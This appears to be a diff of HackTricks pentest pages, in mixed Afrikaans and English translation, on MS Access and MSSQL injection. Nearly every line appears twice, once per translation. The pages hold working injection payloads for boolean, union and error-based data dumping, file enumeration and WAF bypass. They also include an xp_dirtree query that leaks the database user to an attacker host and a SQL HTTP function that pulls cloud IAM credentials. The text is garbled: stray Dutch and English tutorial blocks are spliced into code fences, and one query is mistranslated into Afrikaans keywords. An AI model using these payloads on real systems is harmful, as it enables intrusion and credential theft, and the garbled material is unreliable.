Stel jou voor jy het 'n SQLi in 'n MS Access databasis en jy weet (of het geradeer) dat een **kolomnaam username** is, en dit is die veld wat jy wil **uitvoer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting van gelykheidstegniek gebruik word en potensieel inhoud uitvoer met 'n **boolean-injectie** deur die **`Mid`**-funksie te gebruik om substrings te kry.
Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een **kolomnaam username** is, en dit is die veld wat jy wil **exfiltreer**. Jy kan die verskillende antwoorde van die webtoepassing nagaan wanneer die chaining equals tegniek gebruik word en moontlik inhoud exfiltreer met 'n **boolean injection** deur die **`Mid`** funksie te gebruik om substrings te verkry.
```sql
'=(Mid(username,1,3)='adm')='
```
As jy die **naam van die tabel** en **kolom** wat jy wil dump ken, kan jy 'n kombinasie van `Mid`, `LAST` en `TOP` gebruik om **alle inligting te lek** deur middel van boolean SQLi:
As jy die **naam van die tabel** en **kolom** weet om te dump, kan jy 'n kombinasie van `Mid`, `LAST` en `TOP` gebruik om **alle inligting** via boolean SQLi te **lek**:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Voel vry om dit in die aanlyn speelgrond te kontroleer._
_Feel free to check this in the online playground._
### Brute-forcing Tabelname
### Brute-forcing Tabel name
Met behulp van die ketting-ewekansige tegniek kan jy ook **tabelname bruteforce** met iets soos:
Met die kettinggelykte tegniek kan jy ook **bruteforce tabel name** met iets soos:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Jy kan ook 'n meer tradisionele metode gebruik:
U kan ook 'n meer tradisionele manier gebruik:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Voel vry om dit in die aanlyn speelgrond te kontroleer._
_Feel vry om dit in die aanlyn speelgrond te kontroleer._
* Sqlmap algemene tabelname: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Sqlmap algemene tabel name: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Daar is 'n ander lys in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing Kolomname
### Brute-Forcing Kolom name
Jy kan **brute-force huidige kolomname** met die kettinggelykheidstruuk met:
Jy kan **brute-force huidige kolom name** met die ketting gelyk trick met:
```sql
'=column_name='
```
Of met 'n **groep deur**:
Of met 'n **group by**:
```sql
-1' GROUP BY column_name%00
```
Of jy kan die kolomname van 'n **verskillende tabel** met brute force aanval:
Of jy kan die kolomname van 'n **ander tabel** brute-force met:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Data dump
### Dumping data
Ons het reeds die [**ketting gelykheidstegniek**](ms-access-sql-injection.md#chaining-equals-+-substring) bespreek **om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
Ons het reeds die [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **bespreek om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
In 'n neutedop gebruik die navraag 'n "as-dan" verklaring om 'n "200 OK" te veroorsaak in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10-operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST maak dit moontlik om slegs die 10de tuple te oorweeg. Op sulke waarde, deur die gebruik van die MID-operator, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "gebruikersnaam" veld vir alle rye dump.
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in geval van sukses of 'n "500 Internal Error" andersins. Deur voordeel te trek uit die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
### Tyd-gebaseerd
### Tydgebaseerd
Kyk [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
Kontroleer [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Ander interessante funksies
### Ander Interessante funksies
* `Mid('admin',1,1)` kry substring vanaf posisie 1 lengte 1 (aanvanklike posisie is 1)
* `Mid('admin',1,1)` kry substring vanaf posisie 1 lengte 1 (beginposisie is 1)
* `LEN('1234')` kry lengte van string
* `ASC('A')` kry ASCII-waarde van karakter
* `CHR(65)` kry string vanaf ASCII-waarde
* `ASC('A')` kry ascii waarde van karakter
* `CHR(65)` kry string vanaf ascii waarde
* `IIF(1=1,'a','b')` as dan
* `COUNT(*)` Tel aantal items
## Tabelle optel
## Tabels opnoem
Van [**hier**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) kan jy 'n navraag sien om tabelle name te kry:
Van [**hier**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) kan jy 'n navraag sien om tabelname te kry:
```sql
select MSysObjects.name
from MSysObjects
@ -139,54 +140,55 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Dit moet egter opgemerk word dat dit baie tipies is om SQL-injeksies te vind waar jy **nie toegang het om die tabel `MSysObjects` te lees nie**.
However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
## Toegang tot lêerstelsel
## FileSystem access
### Volledige pad van webwortelgids
### Web Root Directory Full Path
Die kennis van die **absoluut pad van die webwortel kan verdere aanvalle vergemaklik**. As die toepassingsfoute nie heeltemal weggesteek is nie, kan die gidspad onthul word deur te probeer om data te selekteer uit 'n nie-bestaande databasis.
Die kennis van die **web wortel absolute pad mag verdere aanvalle vergemaklik**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access reageer met 'n **foutboodskap wat die volledige gidsnaam van die webgids bevat**.
MS Access reageer met 'n **foutboodskap wat die web gids se volle padnaam bevat**.
### Lêeropnoeming
### File Enumeration
Die volgende aanvalvektor kan gebruik word om **die bestaan van 'n lêer op die afgeleë lêerstelsel te bepaal**. As die gespesifiseerde lêer bestaan, veroorsaak MS Access 'n foutboodskap wat aandui dat die databasisformaat ongeldig is:
Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstands lêerstelsel af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
'n Ander manier om lêers op te noem, behels die **spesifisering van 'n databasis.tabel-item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **foutboodskap oor die databasisformaat**.
Nog 'n manier om lêers te tel, bestaan uit **die spesifisering van 'n databasis.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Raai van .mdb-lêernaam
### .mdb File Name Guessing
Die **databasislêernaam (.mdb)** kan bepaal word met die volgende navraag:
**Databasis lêernaam (.mdb)** kan afgelei word met die volgende navraag:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Waar **name\[i] 'n .mdb-lêernaam** is en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal veroorsaak, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb-lêernaam.
Waar **name\[i] 'n .mdb lêernaam is** en **realTable 'n bestaande tabel** binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.
### .mdb-wagwoordkraker
### .mdb Password Cracker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis hulpmiddel wat gebruik kan word om die hoofdatabasiswagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis nut wat gebruik kan word om die hoofdatabasis wagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
## Verwysings
## References
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# MSSQL Injeksie
# MSSQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Aktiewe Gidsopnoeming
## Active Directory opsporing
Dit mag moontlik wees om **domeingebruikers op te som deur middel van SQL-injeksie binne 'n MSSQL**-bediener te gebruik met die volgende MSSQL-funksies:
Dit mag moontlik wees om **domein gebruikers te opspoor via SQL-inspuiting binne 'n MSSQL** bediener met behulp van die volgende MSSQL funksies:
* **`SELECT DEFAULT_DOMAIN()`**: Kry die huidige domeinnaam.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: As jy die naam van die domein weet (_DOMAIN_ in hierdie voorbeeld), sal hierdie funksie die **SID van die gebruiker Administrator** in heksformaat teruggee. Dit sal lyk soos `0x01050000000[...]0000f401`, let op hoe die **laaste 4 byte** die nommer **500** in **big endian**-formaat is, wat die **gewone ID van die gebruiker administrator** is.\
Hierdie funksie sal jou in staat stel om die ID van die domein te **ken** (alle bytes behalwe die laaste 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Hierdie funksie sal die **gebruikersnaam van die aangeduide ID** teruggee (indien enige), in hierdie geval **0000e803** in big endian == **1000** (gewoonlik is dit die ID van die eerste gewone gebruikers-ID wat geskep is). Dan kan jy dink dat jy gebruikers-ID's van 1000 tot 2000 kan kragtig en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
* **`SELECT DEFAULT_DOMAIN()`**: Kry huidige domeinnaam.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: As jy die naam van die domein (_DOMAIN_ in hierdie voorbeeld) ken, sal hierdie funksie die **SID van die gebruiker Administrator** in hex formaat teruggee. Dit sal lyk soos `0x01050000000[...]0000f401`, let op hoe die **laaste 4 bytes** die nommer **500** in **big endian** formaat is, wat die **gewone ID van die gebruiker administrator** is.\
Hierdie funksie sal jou toelaat om die **ID van die domein** te **ken** (al die bytes behalwe die laaste 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Hierdie funksie sal die **gebruikersnaam van die aangeduide ID** teruggee (indien enige), in hierdie geval **0000e803** in big endian == **1000** (gewoonlik is dit die ID van die eerste gewone gebruiker ID wat geskep is). Dan kan jy jou voorstel dat jy gebruikers-ID's van 1000 tot 2000 kan brute-force en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -29,9 +30,9 @@ user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Alternatiewe Fout-Gebaseerde vektore**
## **Alternatiewe Fout-gebaseerde vektore**
Fout-Gebaseerde SQL-injeksies lyk gewoonlik soos konstruksies soos `+AND+1=@@version--` en variasies gebaseer op die "OF" operator. Navrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omweg, kombineer 'n string met behulp van die %2b karakter met die resultaat van spesifieke funksie-oproepe wat 'n data tipe omskakelingsfout veroorsaak op die gesogte data.
Fout-gebaseerde SQL-inspuitings lyk tipies soos konstruksies soos `+AND+1=@@version--` en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.
Sommige voorbeelde van sulke funksies:
@ -43,7 +44,7 @@ Sommige voorbeelde van sulke funksies:
* `TYPE_NAME()`
* `COL_NAME()`
Voorbeeld van die gebruik van die funksie `USER_NAME()`:
Voorbeeld gebruik van funksie `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
@ -51,7 +52,7 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)--
## SSRF
Hierdie SSRF-truuks [is geneem vanaf hier](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
Hierdie SSRF truuks [is hier geneem](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
@ -97,34 +98,33 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Opgeslane prosedures soos `xp_dirtree`, alhoewel nie amptelik deur Microsoft gedokumenteer nie, is deur ander aanlyn beskryf as gevolg van hul bruikbaarheid in netwerkoperasies binne MSSQL. Hierdie prosedures word dikwels gebruik vir Out of Band Data eksfiltrering, soos gedemonstreer in verskeie [voorbeelde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) en [berigte](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Gestoor prosedures soos `xp_dirtree`, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data eksfiltrasie, soos getoon in verskeie [voorbeelde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) en [plase](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Die `xp_dirtree` opgeslane prosedure word byvoorbeeld gebruik om netwerkversoeke te maak, maar dit is beperk tot slegs TCP-poort 445. Die poortnommer is nie wysigbaar nie, maar dit maak dit moontlik om van netwerk-aandele te lees. Die gebruik word gedemonstreer in die volgende SQL-skrip:
Die `xp_dirtree` gestoor prosedure, byvoorbeeld, word gebruik om netwerk versoeke te maak, maar dit is beperk tot slegs TCP poort 445. Die poortnommer is nie aanpasbaar nie, maar dit laat lees van netwerk gedeeltes toe. Die gebruik word gedemonstreer in die SQL skrip hieronder:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
Dit is vermeldenswaardig dat hierdie metode moontlik nie op alle stelselkonfigurasies sal werk nie, soos op `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` wat op 'n `Windows Server 2016 Datacenter` met verstekinstellings loop.
Daar is ook alternatiewe gestoorde prosedures soos `master..xp_fileexist` en `xp_subdirs` wat soortgelyke uitkomste kan behaal. Verdere besonderhede oor `xp_fileexist` kan gevind word in hierdie [TechNet-artikel](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings.
Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Dit is vanselfsprekend dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat 'n **SSRF** veroorsaak. Vir meer inligting **lees die relevante afdeling** op die bladsy:
Dit is duidelik dat jy ook **`xp_cmdshell`** kan gebruik om iets uit te voer wat 'n **SSRF** aktiveer. Vir meer inligting **lees die relevante afdeling** op die bladsy:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL Gebruiker-gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Die skep van 'n CLR UDF (Common Language Runtime User Defined Function), wat kode is wat in enige .NET-taal geskryf is en in 'n DLL saamgestel word, om binne MSSQL gelaai te word vir die uitvoering van aangepaste funksies, is 'n proses wat `dbo`-toegang vereis. Dit beteken dit is gewoonlik haalbaar slegs wanneer die databasisverbinding as `sa` of met 'n Administrateurrol gemaak word.
Om 'n CLR UDF (Common Language Runtime User Defined Function) te skep, wat kode is wat in enige .NET-taal geskryf is en in 'n DLL gecompileer is, om binne MSSQL gelaai te word vir die uitvoering van pasgemaakte funksies, is 'n proses wat `dbo` toegang vereis. Dit beteken dit is gewoonlik slegs haalbaar wanneer die databasisverbinding as `sa` of met 'n Administrateur rol gemaak word.
'n Visual Studio-projek en installasie-instruksies word verskaf in [hierdie Github-opberging](https://github.com/infiniteloopltd/SQLHttp) om die laai van die binêre lêer in MSSQL as 'n CLR-samestelling te fasiliteer, wat die uitvoering van HTTP GET-versoeke van binne MSSQL moontlik maak.
'n Visual Studio-projek en installasie-instruksies word in [hierdie Github-repositori](https://github.com/infiniteloopltd/SQLHttp) verskaf om die laai van die binêre in MSSQL as 'n CLR-assemblage te vergemaklik, wat die uitvoering van HTTP GET-versoeke vanuit MSSQL moontlik maak.
Die kern van hierdie funksionaliteit word gekapsuleer in die `http.cs`-lêer, wat die `WebClient`-klas gebruik om 'n GET-versoek uit te voer en inhoud te herwin soos hieronder geïllustreer:
Die kern van hierdie funksionaliteit is ingekapsuleer in die `http.cs`-lêer, wat die `WebClient`-klas gebruik om 'n GET-versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:
```csharp
using System.Data.SqlTypes;
using System.Net;
@ -140,21 +140,21 @@ return new SqlString(html);
}
}
```
Voordat die `CREATE ASSEMBLY` SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet uit te voer om die SHA512-hash van die vergadering by die bediener se lys van vertroude vergaderings toe te voeg (sigbaar via `select * from sys.trusted_assemblies;`):
Voordat die `CREATE ASSEMBLY` SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet te loop om die SHA512-has van die assembly by die bediener se lys van vertroude assemblies te voeg (beskikbaar via `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Nadat die montage suksesvol bygevoeg is en die funksie geskep is, kan die volgende SQL-kode gebruik word om HTTP-versoeke uit te voer:
Na suksesvolle toevoeging van die samestelling en die skep van die funksie, kan die volgende SQL-kode gebruik word om HTTP-versoeke uit te voer:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Vinnige Uitbuiting: Die volledige inhoud van 'n tabel in 'n enkele navraag herwin**
### **Vinige Exploit: Herwinning van Volledige Tabelinhoud in 'n Enkele Vraag**
[Truuk van hier](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
[Truk hier](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
'n Bondige metode om die volledige inhoud van 'n tabel in 'n enkele navraag te onttrek, behels die gebruik van die `FOR JSON`-klousule. Hierdie benadering is beknopter as die gebruik van die `FOR XML`-klousule, wat 'n spesifieke modus soos "raw" vereis. Die `FOR JSON`-klousule word verkies vir sy bondigheid.
'n Bondige metode om die volle inhoud van 'n tabel in 'n enkele vraag te onttrek, behels die gebruik van die `FOR JSON` klousule. Hierdie benadering is meer beknop as om die `FOR XML` klousule te gebruik, wat 'n spesifieke modus soos "raw" vereis. Die `FOR JSON` klousule word verkies weens sy beknoptheid.
Hier is hoe om die skema, tabelle en kolomme van die huidige databasis te herwin:
```sql
@ -162,37 +162,9 @@ https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,ta
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
# MSSQL-injectie
## Inleiding
MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases te exploiteren. Deze techniek maakt gebruik van SQL-injectie om kwaadaardige SQL-query's uit te voeren en gevoelige informatie te verkrijgen.
## Stapsgewijze handleiding voor MSSQL-injectie
### Stap 1: Identificeer de kwetsbaarheid
Om MSSQL-injectie uit te voeren, moet je eerst een kwetsbare webtoepassing vinden die gebruikmaakt van een MSSQL-database. Dit kan worden gedaan door handmatig zoeken naar URL's met parameters of door geautomatiseerde tools te gebruiken.
### Stap 2: Identificeer de injectiepunten
Zodra je een kwetsbare webtoepassing hebt gevonden, moet je de injectiepunten identificeren. Dit zijn de parameters in de URL die mogelijk vatbaar zijn voor SQL-injectie. Je kunt dit doen door de parameters te manipuleren en te controleren op onverwachte gedragingen, zoals foutmeldingen of veranderingen in de SQL-query.
### Stap 3: Test de injectiepunten
Nu je de injectiepunten hebt geïdentificeerd, moet je ze testen om te bevestigen dat ze daadwerkelijk vatbaar zijn voor SQL-injectie. Dit kan worden gedaan door verschillende SQL-injectietechnieken toe te passen, zoals het invoegen van SQL-opdrachten in de parameters en het observeren van de resultaten.
### Stap 4: Verkrijg gevoelige informatie
Als de injectiepunten succesvol zijn getest, kun je gevoelige informatie verkrijgen uit de MSSQL-database. Dit kan worden gedaan door SQL-opdrachten uit te voeren die gegevens ophalen uit de database, zoals het selecteren van tabellen, kolommen of het extraheren van gebruikersnamen en wachtwoorden.
### Stap 5: Voer kwaadaardige acties uit
Na het verkrijgen van gevoelige informatie, kun je kwaadaardige acties uitvoeren, zoals het wijzigen van gegevens in de database, het toevoegen van nieuwe gegevens of het uitvoeren van andere schadelijke SQL-opdrachten.
## Conclusie
MSSQL-injectie is een krachtige techniek die kan worden gebruikt om kwetsbaarheden in MSSQL-databases te exploiteren. Het is belangrijk om deze techniek te begrijpen en te leren hoe je jezelf kunt beschermen tegen dergelijke aanvallen. Door het volgen van de stappen in deze handleiding kun je MSSQL-injectie effectief uitvoeren en gevoelige informatie verkrijgen.
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
```
### Retrieving the Current Query
@ -202,49 +174,17 @@ MSSQL-injectie is een krachtige techniek die kan worden gebruikt om kwetsbaarhed
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
## MSSQL Injection
### Union-Based SQL Injection
#### Introduction
Union-based SQL Injection is a technique used to exploit vulnerabilities in web applications that use MSSQL as their database management system. This technique allows an attacker to retrieve sensitive information from the database by injecting malicious SQL code into user input fields.
#### Exploiting the Vulnerability
To exploit the vulnerability, an attacker can manipulate the SQL query by injecting a UNION SELECT statement. This statement allows the attacker to retrieve data from other tables in the database.
For example, consider the following vulnerable URL:
```
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
In this URL, the attacker injects the UNION SELECT statement after the `id` parameter. The injected code retrieves the `text` column from the `sys.dm_exec_requests` table using the `sys.dm_exec_sql_text` function.
#### Protection and Prevention
To protect against Union-Based SQL Injection attacks, it is important to implement proper input validation and parameterized queries. Input validation ensures that user input is properly sanitized and does not contain any malicious code. Parameterized queries help prevent SQL injection by separating the SQL code from the user input.
Additionally, keeping the database and web application up to date with the latest security patches can help mitigate the risk of SQL injection vulnerabilities.
#### Conclusion
Union-Based SQL Injection is a common technique used by attackers to exploit vulnerabilities in web applications. By understanding how this technique works and implementing proper security measures, developers can protect their applications from such attacks.
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```afrikaans
SELECT * VAN fn_my_permissions(NULL, 'SERVER') WAAR permission_name='VIEW SERVER STATE';
```
```
## **Little tricks for WAF bypasses**
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
